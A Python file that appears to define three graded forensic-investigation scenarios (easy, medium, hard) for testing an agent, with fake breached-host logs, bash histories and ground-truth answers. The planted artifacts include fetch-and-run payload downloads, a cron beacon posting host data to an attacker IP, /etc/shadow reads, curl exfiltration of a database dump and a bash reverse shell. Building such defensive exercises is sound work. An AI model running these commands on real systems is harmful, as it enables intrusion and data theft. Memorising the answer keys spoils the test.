forensic-shell / server /scenarios.py
yashppawar's picture
Upload folder using huggingface_hub
f909af8 verified
"""
Hand-authored forensic scenarios β€” three pre-seeded "breached box" states.
Each scenario is a dict with:
- task_id: identifier (easy/medium/hard)
- difficulty: human-readable label
- description: what the agent must determine
- filesystem: dict mapping absolute path -> file contents (bytes or str)
- ground_truth: dict with fields the grader compares against
Binaries are synthesized in-memory at import time so sha256 is deterministic.
No real filesystem is touched; the env server just looks up paths in these dicts.
"""
import hashlib
from typing import Dict
def _sha256(data: bytes) -> str:
return hashlib.sha256(data).hexdigest()
# ---------- SCENARIO 1: EASY β€” find compromised user + initial login IP ----------
_S1_AUTH_LOG = """\
Mar 11 09:01:14 hostname sshd[1021]: Accepted publickey for alice from 10.0.0.42 port 55001 ssh2: RSA SHA256:abc
Mar 11 09:03:22 hostname sshd[1032]: Accepted publickey for alice from 10.0.0.42 port 55012 ssh2: RSA SHA256:abc
Mar 11 17:45:03 hostname sshd[2201]: Failed password for root from 198.51.100.77 port 41230 ssh2
Mar 11 17:45:18 hostname sshd[2203]: Failed password for alice from 198.51.100.77 port 41241 ssh2
Mar 11 17:45:33 hostname sshd[2209]: Failed password for alice from 198.51.100.77 port 41255 ssh2
Mar 11 17:46:02 hostname sshd[2218]: Accepted password for alice from 198.51.100.77 port 41299 ssh2
Mar 11 17:46:02 hostname sshd[2218]: pam_unix(sshd:session): session opened for user alice by (uid=0)
Mar 11 17:46:17 hostname sudo: alice : TTY=pts/1 ; PWD=/home/alice ; USER=root ; COMMAND=/bin/bash
Mar 11 17:50:41 hostname sshd[2218]: pam_unix(sshd:session): session closed for user alice
"""
_S1_BASH_HISTORY_ALICE = """\
cd /tmp
wget http://198.51.100.77/setup.sh
chmod +x setup.sh
./setup.sh
whoami
id
uname -a
"""
_S1_PASSWD = """\
root:x:0:0:root:/root:/bin/bash
alice:x:1000:1000:Alice,,,:/home/alice:/bin/bash
bob:x:1001:1001:Bob,,,:/home/bob:/bin/bash
"""
SCENARIO_1 = {
"task_id": "t1_login",
"difficulty": "easy",
"description": (
"A login from an unusual IP succeeded on this host yesterday. "
"Investigate /var/log/auth.log and /etc/passwd to determine which user "
"account was compromised and the source IP of the successful login. "
"Submit a ForensicReport with compromised_user and initial_ip."
),
"filesystem": {
"/var/log/auth.log": _S1_AUTH_LOG,
"/home/alice/.bash_history": _S1_BASH_HISTORY_ALICE,
"/etc/passwd": _S1_PASSWD,
"/etc/hostname": "hostname\n",
"/home/alice/readme.txt": "Welcome to the host.\n",
"/home/bob/readme.txt": "bob's home dir.\n",
},
"ground_truth": {
"compromised_user": "alice",
"initial_ip": "198.51.100.77",
},
}
# ---------- SCENARIO 2: MEDIUM β€” plus modified files + backdoor sha256 ----------
_S2_AUTH_LOG = """\
Mar 12 08:00:11 webhost sshd[801]: Accepted publickey for bob from 10.0.0.15 port 42100 ssh2
Mar 12 12:14:02 webhost sshd[1411]: Failed password for bob from 203.0.113.45 port 60012 ssh2
Mar 12 12:14:19 webhost sshd[1418]: Accepted password for bob from 203.0.113.45 port 60027 ssh2
Mar 12 12:14:19 webhost sshd[1418]: pam_unix(sshd:session): session opened for user bob by (uid=0)
Mar 12 12:15:44 webhost sudo: bob : TTY=pts/0 ; PWD=/home/bob ; USER=root ; COMMAND=/usr/bin/apt install curl
Mar 12 12:17:02 webhost sudo: bob : TTY=pts/0 ; PWD=/home/bob ; USER=root ; COMMAND=/bin/cp /tmp/.sysd /usr/local/bin/.sysd
Mar 12 12:17:09 webhost sudo: bob : TTY=pts/0 ; PWD=/home/bob ; USER=root ; COMMAND=/bin/chmod +x /usr/local/bin/.sysd
Mar 12 12:18:55 webhost sudo: bob : TTY=pts/0 ; PWD=/home/bob ; USER=root ; COMMAND=/usr/bin/tee /etc/cron.d/sysd-sync
"""
_S2_BASH_HISTORY_BOB = """\
cd /tmp
curl -sO http://203.0.113.45/payload/.sysd
chmod +x .sysd
sudo cp /tmp/.sysd /usr/local/bin/.sysd
sudo tee /etc/cron.d/sysd-sync
echo '* * * * * root /usr/local/bin/.sysd >/dev/null 2>&1' | sudo tee -a /etc/cron.d/sysd-sync
sudo vi /etc/passwd
history -c
exit
"""
_S2_PASSWD = """\
root:x:0:0:root:/root:/bin/bash
bob:x:1000:1000:Bob,,,:/home/bob:/bin/bash
alice:x:1001:1001:Alice,,,:/home/alice:/bin/bash
sysd:x:0:0:System Daemon,,,:/var/lib/sysd:/bin/bash
"""
_S2_CRON = """\
# Managed by deploy
0 3 * * * root /usr/local/bin/logrotate.sh
* * * * * root /usr/local/bin/.sysd >/dev/null 2>&1
"""
# Synthesized fake backdoor payload (deterministic content -> deterministic sha256)
_S2_BACKDOOR_BYTES = (
b"#!/bin/sh\n"
b"# sysd persistence agent - DO NOT REMOVE\n"
b"while :; do\n"
b" curl -s -X POST http://203.0.113.45/beacon -d \"h=$(hostname)&u=$(whoami)\"\n"
b" sleep 60\n"
b"done\n"
)
_S2_BACKDOOR_SHA256 = _sha256(_S2_BACKDOOR_BYTES)
SCENARIO_2 = {
"task_id": "t2_modified",
"difficulty": "medium",
"description": (
"A host was compromised yesterday. In addition to identifying the compromised "
"user and initial IP, you must list the absolute paths of all system files that "
"were modified or created as part of the compromise, and determine the SHA256 "
"hash of the attacker's backdoor binary. Submit a ForensicReport with "
"compromised_user, initial_ip, modified_files (list of absolute paths), and "
"backdoor_sha256 (lowercase hex)."
),
"filesystem": {
"/var/log/auth.log": _S2_AUTH_LOG,
"/home/bob/.bash_history": _S2_BASH_HISTORY_BOB,
"/home/alice/.bash_history": "ls\ncd ~\nvim notes.md\n",
"/etc/passwd": _S2_PASSWD,
"/etc/cron.d/sysd-sync": _S2_CRON,
"/usr/local/bin/.sysd": _S2_BACKDOOR_BYTES,
"/etc/hostname": "webhost\n",
"/home/bob/readme.txt": "bob's home dir.\n",
},
"ground_truth": {
"compromised_user": "bob",
"initial_ip": "203.0.113.45",
"modified_files": [
"/etc/passwd",
"/etc/cron.d/sysd-sync",
"/usr/local/bin/.sysd",
],
"backdoor_sha256": _S2_BACKDOOR_SHA256,
},
}
# ---------- SCENARIO 3: HARD β€” plus ordered kill-chain timeline ----------
_S3_AUTH_LOG = """\
Mar 13 09:00:01 db01 sshd[511]: Accepted publickey for carol from 10.0.1.22 port 52001 ssh2
Mar 13 14:22:47 db01 sshd[1801]: Failed password for carol from 192.0.2.10 port 33301 ssh2
Mar 13 14:23:01 db01 sshd[1809]: Accepted password for carol from 192.0.2.10 port 33319 ssh2
Mar 13 14:23:01 db01 sshd[1809]: pam_unix(sshd:session): session opened for user carol by (uid=0)
Mar 13 14:23:15 db01 CRON[1820]: (carol) CMD (whoami; uname -a; id)
Mar 13 14:25:40 db01 sudo: pam_unix(sudo:auth): authentication failure; logname= uid=1000 euid=0 tty=/dev/pts/2 ruser=carol rhost= user=carol
Mar 13 14:25:43 db01 sudo: carol : TTY=pts/2 ; PWD=/home/carol ; USER=root ; COMMAND=/bin/bash
Mar 13 14:28:12 db01 sudo: carol : TTY=pts/2 ; PWD=/home/carol ; USER=root ; COMMAND=/usr/bin/crontab -u root /tmp/root.cron
Mar 13 14:31:47 db01 sudo: carol : TTY=pts/2 ; PWD=/home/carol ; USER=root ; COMMAND=/usr/bin/curl -X POST -F file=@/var/lib/mysql/dump.sql http://198.51.100.200/drop
"""
_S3_BASH_HISTORY_CAROL = """\
whoami
uname -a
id
cat /etc/shadow
sudo su -
crontab -u root /tmp/root.cron
mysqldump --all-databases > /var/lib/mysql/dump.sql
curl -X POST -F file=@/var/lib/mysql/dump.sql http://198.51.100.200/drop
history -c
exit
"""
_S3_ROOT_CRON = """\
*/5 * * * * /usr/local/sbin/.healthcheck >/dev/null 2>&1
"""
_S3_BACKDOOR_BYTES = (
b"#!/bin/bash\n"
b"# healthcheck persistence\n"
b"bash -i >& /dev/tcp/192.0.2.10/4444 0>&1\n"
)
_S3_BACKDOOR_SHA256 = _sha256(_S3_BACKDOOR_BYTES)
_S3_PASSWD = """\
root:x:0:0:root:/root:/bin/bash
carol:x:1000:1000:Carol,,,:/home/carol:/bin/bash
mysql:x:111:119:MySQL Server,,,:/nonexistent:/bin/false
"""
SCENARIO_3 = {
"task_id": "t3_timeline",
"difficulty": "hard",
"description": (
"A database host was fully compromised. You must reconstruct the attacker's "
"kill chain as an ORDERED timeline of phases: login β†’ recon β†’ privesc β†’ "
"persistence β†’ exfil. Submit a ForensicReport with compromised_user, "
"initial_ip, modified_files, backdoor_sha256, AND timeline (list of "
"TimelineEvent with phase in that order). The timeline must contain all "
"five phases."
),
"filesystem": {
"/var/log/auth.log": _S3_AUTH_LOG,
"/home/carol/.bash_history": _S3_BASH_HISTORY_CAROL,
"/etc/passwd": _S3_PASSWD,
"/var/spool/cron/crontabs/root": _S3_ROOT_CRON,
"/usr/local/sbin/.healthcheck": _S3_BACKDOOR_BYTES,
"/var/lib/mysql/dump.sql": "-- MySQL dump (exfiltrated)\nCREATE TABLE users ...\n",
"/etc/hostname": "db01\n",
"/tmp/root.cron": _S3_ROOT_CRON,
},
"ground_truth": {
"compromised_user": "carol",
"initial_ip": "192.0.2.10",
"modified_files": [
"/var/spool/cron/crontabs/root",
"/usr/local/sbin/.healthcheck",
"/tmp/root.cron",
],
"backdoor_sha256": _S3_BACKDOOR_SHA256,
"timeline": [
{"phase": "login", "detail": "ssh from 192.0.2.10"},
{"phase": "recon", "detail": "whoami; uname -a; id"},
{"phase": "privesc", "detail": "sudo su -"},
{"phase": "persistence", "detail": "crontab -u root /tmp/root.cron"},
{"phase": "exfil", "detail": "curl POST dump.sql to 198.51.100.200"},
],
},
}
SCENARIOS: Dict[str, dict] = {
"t1_login": SCENARIO_1,
"t2_modified": SCENARIO_2,
"t3_timeline": SCENARIO_3,
# aliases for convenience
"easy": SCENARIO_1,
"medium": SCENARIO_2,
"hard": SCENARIO_3,
}
DEFAULT_TASK_ID = "t1_login"